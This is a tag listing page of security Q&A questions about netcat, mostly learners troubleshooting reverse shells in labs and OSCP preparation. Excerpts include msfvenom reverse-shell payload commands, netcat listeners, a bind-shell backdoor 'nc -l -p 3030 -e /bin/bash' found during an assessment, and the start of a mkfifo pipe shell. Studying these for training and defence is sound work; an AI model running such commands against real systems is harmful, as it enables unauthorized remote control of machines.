Questions tagged [netcat]

A computer networking utility for reading from and writing to network connections using TCP or UDP

Filter by
Sorted by
Tagged with
1 vote
1 answer
353 views

Reverse PHP shell exit when netcat listening

My reverse shell is exiting when i lsten it with netcat: here is netcat output: listening on [any] 5555 ... connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602 bash: cannot set terminal ...
user avatar
0 votes
2 answers
335 views

Why can't I transfer executable files with netcat? [closed]

I have two lab machines, one Kali and one Windows 10. Netcat is running on both and both are communicating successfully. If I create a simple text file I can transfer the file from Kali onto Windows ...
user avatar
  • 875
1 vote
1 answer
1k views

netcat vs nmap for banner grabbing?

I am preparing for a security exam and a question I failed in a practice has the following: A command line tool that can be used for banner grabbing is called: A) tcpdump B) netcat C) nmap D) ...
user avatar
0 votes
1 answer
4k views

MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive

I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe In ...
user avatar
2 votes
1 answer
3k views

Connect msfvenom reverse shell without metasploit

For most reverse shell here, I can simply use netcat to connect: nc -nlvp 1234 But for reverse shell created by msfvenom, for example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 ...
user avatar
  • 818
2 votes
0 answers
852 views

Unable to start reverse shell over HTTP

I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP. Locally over TCP: Attacker terminal runs netcat to listen for a connection over port 8000: nc -...
user avatar
  • 21
0 votes
3 answers
223 views

Php intermediate shell [closed]

Is there any way that i can use the compromised website as the shell What i am trying to achieve is to get a reverse shell on the machine,not a webshell.The target machine has a website hosted on it ...
user avatar
0 votes
0 answers
500 views

Kioptrix 2: Why netcat reverse shell executed in web browser via command injection bug doesn't work?

I've completed kioptrix level 2 challenge via sql injection, command injection, bash reverse shell, and local privilege escalation as part of my OSCP preparation. https://www.vulnhub.com/entry/...
user avatar
  • 347
0 votes
1 answer
365 views

When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener

When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions. When attempting to replicate this in metasploit I use set payload windows/...
user avatar
1 vote
1 answer
1k views

I set up a successful reverse shell but my commands return nothing

I recently successfully uploaded an msfvenom binary payload into a Windows server 2008 VM. My netcat listener displays the following message: connect to [lhost ip] from (UNKNOWN) [rhost ip] 49155 ...
user avatar
0 votes
3 answers
156 views

How to communicate with a random service after a successful netcat connection? [closed]

Let's say I perform a nmap scan and discover a list of open ports. If port 80 is opened, I will do this: $ nc IP_ADDRESS 80 GET / HTTP/1.0 This will be a simple HTTP protocol request. But what ...
user avatar
  • 1
0 votes
1 answer
258 views

Why would people connect to reverse shell's server side?

This is weird question, I implemented a reverse shell application, in which multiple commands can be executed and a keylogger can be executed. But, I need to connect to the server first, that way on ...
user avatar
  • 11
0 votes
2 answers
947 views

netcat reverseshell hanging after connection

I put a reverse shell on a machine in my lab enviornment and it seems to just hang after there is a connection in netcat - I'm not sure why this is. I've tried different ports but no luck. See ...
user avatar
  • 1
2 votes
0 answers
850 views

Explanation of linux shell access via backpipes? [closed]

I have been looking at different ways to gain shell access to a Linux machine and came across this article. Under point #2, there is an slightly different way of using netcat to gain shell. here it ...
user avatar
  • 853
3 votes
1 answer
12k views

Reverse shell breaking instantly after connection has been established

currently I'm preparing for OSCP and right know I'm working on reverse shells. Using msfconsole it's not problem to get a meterpreter-session, however meterpreter is not allowed during the exam so I ...
user avatar
  • 263
2 votes
1 answer
3k views

Use netcat to Pivot

So I have a shell into machine A which doesn't have ssh installed and I can't get a tty shell on (I've tried all of the tty cheat sheets, I think this is intentional) Through machine A I can see ...
user avatar
0 votes
1 answer
562 views

Find out the IP or hostname of the firewall? [closed]

Is there a way to find the IP of the firewall which is blocking my access to an endpoint? I tried netcat / nmap but not much luck. I need some form of a tool which does a traceroute to the subnet or ...
user avatar
  • 1
0 votes
2 answers
2k views

Password protection for NetCat shell?

As a pentester, I often use NetCat, and its encrypted counterpart CryptCat. However, even CryptCat only encrypts the traffic. I'm looking for a way to keep unauthorized users from gaining access to ...
user avatar
1 vote
1 answer
2k views

How to fingerprint a server with Netcat?

I am trying to follow the OWASP test guide on a Kali Linux machine. As the first step in "Information Gathering" I am trying to fingerprint the server. The guide instructs me to use NetCat: $ nc www....
user avatar
  • 255
3 votes
1 answer
1k views

Persistent back door using Netcat

I have found the following command several times in one of the linux servers during an assessment: nc -l -p 3030 -e /bin/bash This enables a hacker to gain control over this sever via bash. By ...
user avatar
  • 498
1 vote
2 answers
8k views

Can pipe | shell | nc > pipe achieve remote shell?

In one of the articles I have came across an exploit of Dell devices that said when you trigger the following line of code (executed somewhere in php) you will get a remote root shell : mkfifo /tmp/...
user avatar
  • 157